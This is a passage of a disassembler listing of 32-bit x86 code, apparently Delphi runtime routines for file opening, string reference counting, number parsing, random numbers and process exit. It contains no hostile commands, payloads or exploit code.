sub_4017C8	proc near		; CODE XREF: CODE:0040430Dp
					; CODE:00404511p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B2h
		push	offset loc_401714
		push	65h
		call	sub_40171C
		pop	ebx
		pop	ebp
		retn	4
sub_4017C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017E8	proc near		; CODE XREF: sub_402CDC+128p
					; CODE:0040431Cp ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_401827
		cmp	ax, 0D7B3h
		ja	short loc_401827
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_40180F
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_40180F:				; CODE XREF: sub_4017E8+1Ej
		test	esi, esi
		jnz	short loc_40181A
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_40181A:				; CODE XREF: sub_4017E8+29j
		test	esi, esi
		jz	short loc_401839
		mov	eax, esi
		call	sub_401248
		jmp	short loc_401839
; ---------------------------------------------------------------------------


loc_401827:				; CODE XREF: sub_4017E8+Ej
					; sub_4017E8+14j
		cmp	ebx, offset dword_406024
		jz	short loc_401839
		mov	eax, 67h
		call	sub_401248


loc_401839:				; CODE XREF: sub_4017E8+34j
					; sub_4017E8+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4017E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401840	proc near		; CODE XREF: sub_4030FC+1Fp
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_401849
		mov	ecx, ebx


loc_401849:				; CODE XREF: sub_401840+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_401264
		pop	ebx
		retn
sub_401840	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40185C	proc near		; CODE XREF: sub_402CDC+64p
					; sub_402CDC+C0p
		push	ebx
		push	esi
		mov	ebx, eax
		or	esi, 0FFFFFFFFh
		mov	ax, [ebx+4]
		cmp	ax, 0D7B0h
		jbe	short loc_401896
		cmp	ax, 0D7B3h
		ja	short loc_401896
		push	0		; lpFileSizeHigh
		mov	eax, [ebx]
		push	eax		; hFile
		call	GetFileSize
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40188B
		call	sub_401258
		jmp	short loc_4018A0
; ---------------------------------------------------------------------------


loc_40188B:				; CODE XREF: sub_40185C+26j
		mov	eax, esi
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	esi, eax
		jmp	short loc_4018A0
; ---------------------------------------------------------------------------


loc_401896:				; CODE XREF: sub_40185C+Fj
					; sub_40185C+15j
		mov	eax, 67h
		call	sub_401248


loc_4018A0:				; CODE XREF: sub_40185C+2Dj
					; sub_40185C+38j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40185C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018A8	proc near		; CODE XREF: sub_4016A4+Fp
					; sub_40265C+F1p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_4018C5
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4018C5:				; CODE XREF: sub_4018A8+12j
		pop	edi
		retn
sub_4018A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018C8	proc near		; CODE XREF: CODE:00404209p
					; CODE:0040421Ep ...
		push	ebx
		xor	ebx, ebx
		imul	edx, ds:dword_405008[ebx], 8088405h
		inc	edx
		mov	ds:dword_405008[ebx], edx
		mul	edx
		mov	eax, edx
		pop	ebx
		retn
sub_4018C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018E4	proc near		; DATA XREF: sub_40190C+35o
		push	ebx
		push	esi
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	esi, esi
		mov	eax, [ebx]
		call	sub_4014C8
		test	al, al
		jnz	short loc_401905
		call	sub_401258
		mov	esi, 1


loc_401905:				; CODE XREF: sub_4018E4+15j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4018E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40190C	proc near		; CODE XREF: sub_4019EC+16p
					; sub_401A08+5p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	ebx, eax
		mov	dx, [eax+4]
		sub	edx, 0D7B0h
		jz	short loc_401938
		cmp	edx, 3
		ja	loc_4019CE
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_401938
		call	sub_401248


loc_401938:				; CODE XREF: sub_40190C+15j
					; sub_40190C+25j
		mov	word ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset sub_4018E4
		mov	dword ptr [ebx+1Ch], offset sub_401488
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_4019B5
		mov	eax, 0C0000000h
		mov	dl, ds:byte_40500C
		and	edx, 70h
		shr	edx, 2
		mov	edx, ds:dword_405068[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_401997
		mov	ecx, 3
		inc	edi
		jz	short loc_401997
		mov	eax, 40000000h
		inc	edi
		mov	word ptr [ebx+4], 0D7B2h
		jz	short loc_401997
		mov	eax, 80000000h
		mov	word ptr [ebx+4], 0D7B1h


loc_401997:				; CODE XREF: sub_40190C+68j
					; sub_40190C+70j ...
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	ecx		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	edx		; dwShareMode
		push	eax		; dwDesiredAccess
		lea	eax, [ebx+48h]
		push	eax		; lpFileName
		call	CreateFileA


loc_4019AC:				; CODE XREF: sub_40190C+C0j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4019D5
		mov	[ebx], eax
		jmp	short loc_4019E5
; ---------------------------------------------------------------------------


loc_4019B5:				; CODE XREF: sub_40190C+47j
		mov	dword ptr [ebx+24h], offset sub_401488
		cmp	edi, 3
		jz	short loc_4019C5
		push	0FFFFFFF6h
		jmp	short loc_4019C7
; ---------------------------------------------------------------------------


loc_4019C5:				; CODE XREF: sub_40190C+B3j
		push	0FFFFFFF5h	; nStdHandle


loc_4019C7:				; CODE XREF: sub_40190C+B7j
		call	GetStdHandle
		jmp	short loc_4019AC
; ---------------------------------------------------------------------------


loc_4019CE:				; CODE XREF: sub_40190C+1Aj
		mov	eax, 66h
		jmp	short loc_4019E0
; ---------------------------------------------------------------------------


loc_4019D5:				; CODE XREF: sub_40190C+A3j
		mov	word ptr [ebx+4], 0D7B0h
		call	GetLastError


loc_4019E0:				; CODE XREF: sub_40190C+C7j
		call	sub_401248


loc_4019E5:				; CODE XREF: sub_40190C+A7j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40190C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4019EC	proc near		; CODE XREF: sub_402CDC+54p
		mov	cl, ds:byte_40500C
		and	cl, 3
		cmp	cl, 2
		jbe	short loc_4019FC
		mov	cl, 2


loc_4019FC:				; CODE XREF: sub_4019EC+Cj
		and	ecx, 0FFh
		call	sub_40190C
		retn
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A08	proc near		; CODE XREF: CODE:004042E4p
					; CODE:004044E8p
		mov	ecx, 3
		call	sub_40190C
		retn
sub_401A08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A14	proc near		; CODE XREF: sub_401A74+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_401A2B:				; CODE XREF: sub_401A14+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_401A2B
		test	esi, esi
		jge	short loc_401A43
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_401A43:				; CODE XREF: sub_401A14+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_401A57
		mov	ecx, 0FFh


loc_401A57:				; CODE XREF: sub_401A14+3Cj
		sub	ecx, ebx
		jle	short loc_401A62
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_401A62:				; CODE XREF: sub_401A14+45j
					; sub_401A14+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_401A62
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A74	proc near		; CODE XREF: sub_4030FC+12p
		mov	ecx, edx
		xor	edx, edx
		call	sub_401A14
		retn
sub_401A74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A80	proc near		; CODE XREF: sub_403134+3p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_401AF6
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_401A93:				; CODE XREF: sub_401A80+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_401A93
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_401B04
		cmp	bl, 2Bh
		jz	short loc_401B06
		cmp	bl, 24h
		jz	short loc_401B0B
		cmp	bl, 78h
		jz	short loc_401B0B
		cmp	bl, 58h
		jz	short loc_401B0B
		cmp	bl, 30h
		jnz	short loc_401ACE
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_401B0B
		cmp	bl, 58h
		jz	short loc_401B0B
		test	bl, bl
		jz	short loc_401AEC
		jmp	short loc_401AD2
; ---------------------------------------------------------------------------


loc_401ACE:				; CODE XREF: sub_401A80+39j
					; sub_401A80+89j
		test	bl, bl
		jz	short loc_401AFF


loc_401AD2:				; CODE XREF: sub_401A80+4Cj
					; sub_401A80+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_401AFF
		cmp	eax, edi
		ja	short loc_401AFF
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_401AD2


loc_401AEC:				; CODE XREF: sub_401A80+4Aj
		dec	ch
		jz	short loc_401AF9
		test	eax, eax
		jge	short loc_401B42
		jmp	short loc_401AFF
; ---------------------------------------------------------------------------


loc_401AF6:				; CODE XREF: sub_401A80+8j
					; sub_401A80+95j
		inc	esi
		jmp	short loc_401AFF
; ---------------------------------------------------------------------------


loc_401AF9:				; CODE XREF: sub_401A80+6Ej
		neg	eax
		jle	short loc_401B42
		js	short loc_401B42


loc_401AFF:				; CODE XREF: sub_401A80+50j
					; sub_401A80+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_401B45
; ---------------------------------------------------------------------------


loc_401B04:				; CODE XREF: sub_401A80+20j
		inc	ch


loc_401B06:				; CODE XREF: sub_401A80+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_401ACE
; ---------------------------------------------------------------------------


loc_401B0B:				; CODE XREF: sub_401A80+2Aj
					; sub_401A80+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_401AF6


loc_401B17:				; CODE XREF: sub_401A80+C0j
		cmp	bl, 61h
		jb	short loc_401B1F
		sub	bl, 20h


loc_401B1F:				; CODE XREF: sub_401A80+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_401B32
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_401AFF
		add	bl, 0Ah


loc_401B32:				; CODE XREF: sub_401A80+A5j
		cmp	eax, edi
		ja	short loc_401AFF
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_401B17


loc_401B42:				; CODE XREF: sub_401A80+72j
					; sub_401A80+7Bj ...
		pop	ecx
		xor	esi, esi


loc_401B45:				; CODE XREF: sub_401A80+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B4C	proc near		; CODE XREF: sub_401B6C+Cp
		test	ecx, ecx
		jz	short locret_401B69
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_401B64
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_401B69
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_401B67
; ---------------------------------------------------------------------------


loc_401B64:				; CODE XREF: sub_401B4C+Aj
		add	ecx, 5


loc_401B67:				; CODE XREF: sub_401B4C+16j
		add	ecx, eax

locret_401B69:				; CODE XREF: sub_401B4C+2j
					; sub_401B4C+Fj
		retn
sub_401B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B6C	proc near		; CODE XREF: sub_402C0C-1053p
		cmp	ds:byte_405010,	1
		jbe	short locret_401B92
		push	eax
		push	edx
		push	ecx
		call	sub_401B4C
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:dword_406008
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_401B92:				; CODE XREF: sub_401B6C+7j
		retn
sub_401B6C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402C0C


loc_401B94:				; CODE XREF: sub_4028CC:loc_402908j
					; sub_402A2C:loc_402A51j ...
		mov	eax, [esp-4+arg_0]
		mov	edx, [esp-4+arg_4]
		test	dword ptr [eax+4], 6
		jz	short loc_401BC4
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_401BC4
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_401B6C
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_401BC4:				; CODE XREF: sub_402C0C-1069j
					; DATA XREF: sub_402C0C-1064o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_402C0C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BCC	proc near		; CODE XREF: sub_401CDC:loc_401D2Ap
					; DATA XREF: DATA:off_405030o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, offset dword_4063C4
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_401BFA
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_401BFA


loc_401BE6:				; CODE XREF: sub_401BCC+2Cj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_401BF6
		mov	ebp, eax
		call	ebp


loc_401BF6:				; CODE XREF: sub_401BCC+24j
		test	ebx, ebx
		jg	short loc_401BE6


loc_401BFA:				; CODE XREF: sub_401BCC+Ej
					; sub_401BCC+18j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401BCC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C00	proc near		; CODE XREF: sub_401C00+43p
					; sub_401C54+12p
					; DATA XREF: ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	eax, offset sub_401C00
		cmp	eax, ds:off_40502C
		setz	bl
		cmp	edi, ebp
		jle	short loc_401C4F


loc_401C1C:				; CODE XREF: sub_401C00+4Dj
		mov	eax, [esi+ebp*8]
		inc	ebp
		mov	ds:dword_4063D0, ebp
		test	eax, eax
		jz	short loc_401C2C
		call	eax


loc_401C2C:				; CODE XREF: sub_401C00+28j
		test	bl, bl
		jz	short loc_401C4B
		mov	eax, offset sub_401C00
		cmp	eax, ds:off_40502C
		jz	short loc_401C4B
		mov	ecx, edi
		mov	edx, ebp
		mov	eax, esi
		call	ds:off_40502C
		jmp	short loc_401C4F
; ---------------------------------------------------------------------------


loc_401C4B:				; CODE XREF: sub_401C00+2Ej
					; sub_401C00+3Bj
		cmp	edi, ebp
		jg	short loc_401C1C


loc_401C4F:				; CODE XREF: sub_401C00+1Aj
					; sub_401C00+49j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C54	proc near		; CODE XREF: sub_401C70+35p
		mov	eax, ds:dword_4063CC
		test	eax, eax
		jz	short locret_401C6C
		mov	edx, [eax]
		xor	ecx, ecx
		mov	eax, [eax+4]
		xchg	ecx, edx
		call	ds:off_40502C

locret_401C6C:				; CODE XREF: sub_401C54+7j
		retn
sub_401C54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C70	proc near		; CODE XREF: sub_4029E8+3Ap
		mov	ds:dword_406008, offset	loc_401094
		mov	ds:dword_40600C, offset	loc_4010A4
		mov	ds:dword_4063CC, eax
		xor	eax, eax
		mov	ds:dword_4063D0, eax
		mov	ds:dword_4063D4, edx
		mov	eax, [edx+4]
		mov	ds:dword_406014, eax
		mov	ds:byte_40601C,	0
		call	sub_401C54
		retn
sub_401C70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CAC	proc near		; CODE XREF: sub_401CDC+96p
		xor	eax, eax
		xchg	eax, ds:dword_405000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_4063C4
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_401CAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401CDC	proc near		; CODE XREF: sub_401DAC+5p
					; CODE:0040481Dp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_4063C4
		mov	esi, offset dword_405000
		mov	edi, offset dword_406020
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_401D0B
		cmp	dword ptr [edi], 0
		jz	short loc_401D0B


loc_401CFA:				; CODE XREF: sub_401CDC+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_401CFA


loc_401D0B:				; CODE XREF: sub_401CDC+17j
					; sub_401CDC+1Cj
		cmp	ds:dword_405004, 0
		jz	short loc_401D1A
		call	ds:off_405088


loc_401D1A:				; CODE XREF: sub_401CDC+36j
					; sub_401CDC+C6j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_401D2A
		cmp	dword ptr [esi], 0
		jnz	short loc_401D2A
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_401D2A:				; CODE XREF: sub_401CDC+42j
					; sub_401CDC+47j
		call	ds:off_405030
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_401D3B
		cmp	dword ptr [esi], 0
		jz	short loc_401D5D


loc_401D3B:				; CODE XREF: sub_401CDC+58j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_401D5D
		call	ds:off_405020
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_401D5D
		test	eax, eax
		jz	short loc_401D5D
		push	eax		; hLibModule
		call	FreeLibrary


loc_401D5D:				; CODE XREF: sub_401CDC+5Dj
					; sub_401CDC+64j ...
		call	ds:off_405034
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_401D6C
		call	dword ptr [ebx+24h]


loc_401D6C:				; CODE XREF: sub_401CDC+8Bj
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_401D77
		call	sub_401CAC


loc_401D77:				; CODE XREF: sub_401CDC+94j
		cmp	dword ptr [ebx], 0
		jnz	short loc_401D93
		cmp	ds:dword_406010, 0
		jz	short loc_401D8B
		call	ds:dword_406010


loc_401D8B:				; CODE XREF: sub_401CDC+A7j
		mov	eax, [esi]
		push	eax		; uExitCode
		call	ExitProcess
; ---------------------------------------------------------------------------


loc_401D93:				; CODE XREF: sub_401CDC+9Ej
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_401D1A
sub_401CDC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401DAC	proc near		; CODE XREF: sub_4011C4+6p
					; sub_401DB8+6j
		mov	ds:dword_405000, eax
		call	sub_401CDC
sub_401DAC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401DB8	proc near		; CODE XREF: sub_402958+1Ap
					; sub_402958+2Fp
		pop	ds:dword_405004
		jmp	sub_401DAC
sub_401DB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401DC4	proc near		; CODE XREF: sub_4013B0+Fp
					; sub_401EB0+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_401DE5
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401DE5
		dec	dword ptr [edx-8]
		jnz	short locret_401DE5
		push	eax
		lea	eax, [edx-8]
		call	sub_40115C
		pop	eax

locret_401DE5:				; CODE XREF: sub_401DC4+4j
					; sub_401DC4+10j ...
		retn
sub_401DC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401DE8	proc near		; CODE XREF: sub_402260+56p
					; sub_402C0C+90p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_401DEE:				; CODE XREF: sub_401DE8+29j
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_401E0D
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_401E0D
		dec	dword ptr [edx-8]
		jnz	short loc_401E0D
		lea	eax, [edx-8]
		call	sub_40115C


loc_401E0D:				; CODE XREF: sub_401DE8+Aj
					; sub_401DE8+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_401DEE
		pop	esi
		pop	ebx
		retn
sub_401DE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E18	proc near		; CODE XREF: sub_401F0C+8j
					; sub_401F50+6j ...
		test	edx, edx
		jz	short loc_401E3F
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_401E3C
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_401E84
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_401264
		pop	edx
		pop	eax
		jmp	short loc_401E3F
; ---------------------------------------------------------------------------


loc_401E3C:				; CODE XREF: sub_401E18+8j
		inc	dword ptr [edx-8]


loc_401E3F:				; CODE XREF: sub_401E18+2j
					; sub_401E18+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_401E58
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401E58
		dec	dword ptr [edx-8]
		jnz	short locret_401E58
		lea	eax, [edx-8]
		call	sub_40115C

locret_401E58:				; CODE XREF: sub_401E18+2Bj
					; sub_401E18+31j ...
		retn
sub_401E18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E5C	proc near		; CODE XREF: sub_403168+30p
		test	edx, edx
		jz	short loc_401E69
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_401E69
		inc	dword ptr [edx-8]


loc_401E69:				; CODE XREF: sub_401E5C+2j
					; sub_401E5C+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_401E82
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401E82
		dec	dword ptr [edx-8]
		jnz	short locret_401E82
		lea	eax, [edx-8]
		call	sub_40115C

locret_401E82:				; CODE XREF: sub_401E5C+11j
					; sub_401E5C+17j ...
		retn
sub_401E5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E84	proc near		; CODE XREF: sub_401E18+Fp
					; sub_401EB0+Bp ...
		test	eax, eax
		jle	short loc_401EAC
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_401144
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_401EAC:				; CODE XREF: sub_401E84+2j
		xor	eax, eax
		retn
sub_401E84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EB0	proc near		; CODE XREF: sub_4013B0+2Fp
					; sub_401EE0+5j ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_401E84
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_401ED1
		mov	edx, eax
		mov	eax, esi
		call	sub_401264


loc_401ED1:				; CODE XREF: sub_401EB0+16j
		mov	eax, ebx
		call	sub_401DC4
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EE0	proc near		; CODE XREF: sub_4030FC+28p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_401EB0
sub_401EE0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EEC	proc near		; CODE XREF: sub_403038+8Bp
					; sub_4033B0+6Dp ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_401EF9
		not	ecx


loc_401EF9:				; CODE XREF: sub_401EEC+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_401EB0
sub_401EEC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401F04	proc near		; CODE XREF: sub_4016A4+3Ep
					; sub_4016A4+56p ...
		test	eax, eax
		jz	short locret_401F0B
		mov	eax, [eax-4]

locret_401F0B:				; CODE XREF: sub_401F04+2j
		retn
sub_401F04	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F0C	proc near		; CODE XREF: sub_401F50+1Dj
					; sub_401F50+6Ej ...
		test	edx, edx
		jz	short locret_401F4F
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_401E18
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_401F44
		call	sub_402184
		mov	eax, esi
		mov	ecx, [esi-4]


loc_401F37:				; CODE XREF: sub_401F0C+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_401264
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401F44:				; CODE XREF: sub_401F0C+1Fj
		call	sub_402184
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_401F37
; ---------------------------------------------------------------------------

locret_401F4F:				; CODE XREF: sub_401F0C+2j
		retn
sub_401F0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F50	proc near		; CODE XREF: CODE:004042C5p
		test	edx, edx
		jz	short loc_401FB5
		test	ecx, ecx
		jz	sub_401E18
		cmp	edx, [eax]
		jz	short loc_401FBC
		cmp	ecx, [eax]
		jz	short loc_401F72
		push	eax
		push	ecx
		call	sub_401E18
		pop	edx
		pop	eax
		jmp	sub_401F0C
; ---------------------------------------------------------------------------


loc_401F72:				; CODE XREF: sub_401F50+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_401E84
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_401264
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_401264
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_401FAC
		dec	dword ptr [edi-8]


loc_401FAC:				; CODE XREF: sub_401F50+57j
		call	sub_401E18
		pop	edi
		pop	esi
		pop	ebx
		retn
